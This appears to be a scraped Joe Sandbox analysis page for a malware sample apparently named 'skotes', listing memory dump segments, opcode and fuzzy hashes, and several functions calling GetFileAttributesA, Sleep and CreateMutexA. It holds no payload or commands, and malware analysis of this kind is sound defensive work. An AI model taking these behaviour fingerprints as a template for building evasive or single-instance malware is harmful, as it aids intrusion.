Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 23c89823a4162b3f91bfb5b7beea26fc5980ee6c8cf1f89785619ed24e7a1a88
Instruction ID: 31864ac3e47bebf125942d1f54d17b5cb655a037f175f4d683758942d0da08b7
Opcode Fuzzy Hash: 23c89823a4162b3f91bfb5b7beea26fc5980ee6c8cf1f89785619ed24e7a1a88
Instruction Fuzzy Hash: F9314C31B041009BEB08AB78DCCDB6DB7E1DFC6310F24C299E1289B3D5E77699808752

Function 00B7A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A550
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a324f160d55d547871add40f4239e0e5780b170e67f2e4f9959ff1d1df868fee
Instruction ID: 565361c160d9a178048e96cb40edd889ae483f0d2bb5649d3cbe1d93994586dd
Opcode Fuzzy Hash: a324f160d55d547871add40f4239e0e5780b170e67f2e4f9959ff1d1df868fee
Instruction Fuzzy Hash: BB314C31B051049BEB08DB78DCC9B6DB7E2EBC6714F24C299E1289B2D5DB359980C712

Function 00B7A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A685
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 1eac19adaee95d75fe9e5feba61c3ecf23d443190768b2f3acb3be947372d617
Instruction ID: e945d5494bed01b35d398764508be2557d91f70dbeb96cf03b31000c53e6fbd5
Opcode Fuzzy Hash: 1eac19adaee95d75fe9e5feba61c3ecf23d443190768b2f3acb3be947372d617
Instruction Fuzzy Hash: D6314831B041049BEB4CDB78DCC9B6DBBE2DBC6310F24C299E1289B2E5D7759980CB52

Function 00B7A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A7BA
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 6cf7c4c2fe1aba3b4d2685a74bed587db237cd21feff315f8a8ef3ec798f7957
Instruction ID: 5e2bcea564ad940e9b4caa65b7e490b8280bc3e5d89f1a80d7c78d4dc2ea02ce
Opcode Fuzzy Hash: 6cf7c4c2fe1aba3b4d2685a74bed587db237cd21feff315f8a8ef3ec798f7957
Instruction Fuzzy Hash: F2311831B05104DBEB089B78DDC9B9DBBE6DBC6310F24C299E1289B2D5D73599818713

Function 00BA6E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18e562a0494b6e34ae32e671f9c18e32042025e9026028d52fa16c0205694593
Instruction ID: 333be8825db3c217dbb9eea9f0f45ed4374702d531976b92776574d1c2f87dba
Opcode Fuzzy Hash: 18e562a0494b6e34ae32e671f9c18e32042025e9026028d52fa16c0205694593
Instruction Fuzzy Hash: 9D21D6B294C2087AEB116B68DC42F9F37A9DF43374F180295F9242B1D1DB719E0596A1

Function 00B7A960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
